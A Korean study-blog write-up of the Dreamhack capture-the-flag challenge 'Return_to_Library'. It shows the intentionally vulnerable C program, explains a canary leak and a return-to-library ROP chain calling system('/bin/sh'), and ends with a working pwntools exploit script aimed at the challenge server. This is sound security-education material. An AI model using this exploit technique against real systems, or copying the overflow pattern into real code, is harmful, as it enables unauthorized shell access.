일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- rao
- pycrpytodome
- 시스템해킹
- 웹해킹
- Franklin-Reiter Related Message Attack
- AES
- OverTheWire Bandit Level 1 → Level 2
- Montgomery Reduction
- CSRF
- 암호학
- Bandit Level 1 → Level 2
- weak key
- dreamhack
- arp
- redirect
- Hastad
- cryptography
- return address overflow
- Cube Root Attack
- RSA
- overthewire
- picoCTF
- Crypto
- spoofing
- dns
- shellcode
- bandit
- RSA Common Modulas Attack
- 드림핵
- XSS
- Today
- Total
암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그
[Dreamhack] Return_to_Library 본문
문제
문제 파일 : rtl.c
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
풀이
checksec 을 통하여 다음을 확인할 수 있다.
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
위 코드를 보면 두개의 read 함수 모두 buf 에 0x100 만큼 입력 할 수 있게 되어있다. buf의 크기는 0x30 이므로 스택 버퍼 오버플로우를 할 수 있다.
보호기법중에 카나리가 적용되어 있으므로 첫번째 read 함수를 이용하여 카나리 릭을 하자.
먼저 gdb 를 이용하여 main을 disassemble 하면 sub rsp, 0x40 을 통하여 스택 크기가 0x40 인 것을 알 수 있다.
stack을 확인해보면 0x38 만큼 0으로 채워져있고, 그 다음으로 카나리 값이 있는 것을 확인할 수 있다.
따라서 첫번째 read 함수에 0x39 크기의 아무 값을 입력하면 카나리 릭이 성공한다.
( 카나리의 하위 1바이트 값이 0x00 이므로 0x00 부분을 없애 주어야 read 함수가 카나리 값을 읽어올 수 있다. 따라서 문자열의 크기를 0x38이 아니라 0x39로 해서 0x00 부분을 덮어버려 출력이 가능하게 한다. )
문제 파일은 checksec을 통하여 NX (No-eXecute) 가 적용되어 있는 것을 확인할 수 있다. 따라서 스택 영역에는 실행 권한이 없으므로 쉘코드를 이용한 공격은 힘들다. 하지만 코드영역은 실행권한이 있으므로 return address를 이용하여 메모리에 적제된 공유 라이브러리에 있는 함수의 주소로 바꾸는 공격인 Return to Library ( RTL ) 공격을 할 것이다.
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
.
.
.
system("echo 'system@plt");
문제의 코드를 보면 전역상수로 "/bin/sh" 문자열을 binsh 로 선언했고, system("echo 'system@plt") 함수를 사용하여 plt 에
system 함수를 추가한 것을 알 수 있다.따라서 system의 plt 값을 알아와서 인자로 binsh 를 넣어주면 얻을 수 있다.
gdb를 통하여 system의 plt 값과 "/bin/sh" 의 위치를 알아보자
( 리눅스에서는 ASLR이 기본적으로 적용되어 있어 스택, 힙 등의 영역의 메모리는 실행할 때마다 메모리의 위치가 랜덤하게 변하지만 코드 세그먼트와 데이터 세그먼트는 변하지 않는다. 따라서 문제파일에서 선언된 전역 상수인 binsh 과 어셈블리어의 주소가 변하지 않는다. )
system 함수에 필요한 인자가 하나뿐이므로 pop rdi; ret 인 리턴가젯이 필요하다. 리턴 가젯은 ROPgadget 을 통하여 찾으면 된다. ( 리턴 가젯은 ret으로 끝나는 어셈블리 코드 조각을 말한다. )
이제 페이로드을 구성해보면
'A' * 0x38 + canary + 'A' * 0x08 ( SFP ) + 0x0000000000400853 ( pop rdi; ret ) + 0x400874 ( "/bin/sh" ) + 0x4005d0 ( system@plt ) 가 된다.
위의 페이로드의 동작을
정리하자면
- 0x0000000000400853 ( pop rdi; ret ) 로 ret 한다. 이는 pop rip와 같으므로 rip는 0x0000000000400853 ( pop rdi; ret ) 값을 가지고, 0x0000000000400853 ( pop rdi; ret ) 값을 가지던 rsp가 다음에 있는 0x400874 ( "/bin/sh" ) 값을 가진다.
- pop rdi 를 수행한다. 따라서 rsp의 값인 0x400874 ( "/bin/sh" ) 를 rdi 에 저장한다. 그리고 0x400874 ( "/bin/sh" ) 를 가리키던 rsp가 다음에 있는 0x4005d0 ( system@plt ) 값을 가진다.
- ret 을 수행한다. 이는 pop rip 이므로 rsp의 값인 0x4005d0 ( system@plt ) 가 rip 의 값이 된다. 즉 첫번째 인자인 rdi 가 "/bin/sh" 이므로 system("/bin/sh") 을 호출하게되어 쉘을 얻게 된다.
system 함수에는 movaps를 사용하기 때문에 스택을 0x10 단위로 정렬하지 않으면 segmentation fault 가 뜬다. 따라서 segmentation fault 가 뜬 경우에는 의미없는 리턴가젯 ( 크키 : 0x08 ) 을 가장 먼저 추가하여 단위를 0x10 으로 맞춰주면 해결된다.
본 문제에서는 segmentation fault 가 나오므로 의미 없는 리턴가젯을 추가해준다.
따라서 페이로드은 다음과 같다.
'A' * 0x38 + canary + 'A' * 0x08 ( SFP ) + 0x0000000000400285 ( ret ) + 0x0000000000400853 ( pop rdi; ret ) + 0x400874 ( "/bin/sh" ) + 0x4005d0 ( system@plt )
동작은 다음과 같다.
- 0x0000000000400285 ( ret ) 으로 ret 한다. 이는 pop rip와 같으므로 0x0000000000400285 ( ret ) 값을 가지던 rsp가 다음에 있는 0x0000000000400853 ( pop rdi; ret ) 값을 가지게 된다.
- 0x0000000000400853 ( pop rdi; ret ) 로 ret 한다. 이는 pop rip와 같으므로 rip는 0x0000000000400853 ( pop rdi; ret ) 값을 가지고, 0x0000000000400853 ( pop rdi; ret ) 값을 가지던 rsp가 다음에 있는 0x400874 ( "/bin/sh" ) 값을 가진다.
- pop rdi 를 수행한다. 따라서 rsp의 값인 0x400874 ( "/bin/sh" ) 를 rdi 에 저장한다. 그리고 0x400874 ( "/bin/sh" ) 를 가리키던 rsp가 다음에 있는 0x4005d0 ( system@plt ) 값을 가진다.
- ret 을 수행한다. 이는 pop rip 이므로 rsp의 값인 0x4005d0 ( system@plt ) 가 rip 의 값이 된다. 즉 첫번째 인자인 rdi 가 "/bin/sh" 이므로 system("/bin/sh") 을 호출하게되어 쉘을 얻게 된다.
pwntools 를 이용하여 익스플로잇 코드를 작성했다.
exploit.py
from pwn import *
p = remote('host3.dreamhack.games', 20954)
e = ELF("./rtl")
payload = b'A' * 0x39
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
canry = u64(b'\x00' + p.recv(7))
success(f'canary : {hex(canry)}')
ret = 0x0000000000400285 # ret;
pop_rdi = 0x0000000000400853 # pop rdi; ret;
bin_sh = 0x400874 # "/bin/sh"
system_plt = e.plt['system']
payload = b'A' * 0x38
payload += p64(canry) # Canary
payload += b'A' * 0x08 # Stack Frame Pointer
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system_plt)
p.sendafter('Buf: ', payload)
p.interactive()
쉘을 획득한 것을 확인할 수 있다.
'Dreamhack > Pwnable' 카테고리의 다른 글
[Dreamhack] rop (0) | 2023.05.14 |
---|---|
[Dreamhack] ssp_001 (0) | 2023.04.09 |
[Dreamhack] Return to Shellcode (0) | 2023.04.07 |
[Dreamhack] basic_exploitation_000 (0) | 2023.04.02 |
[Dreamhack] basic_exploitation_001 (0) | 2023.04.02 |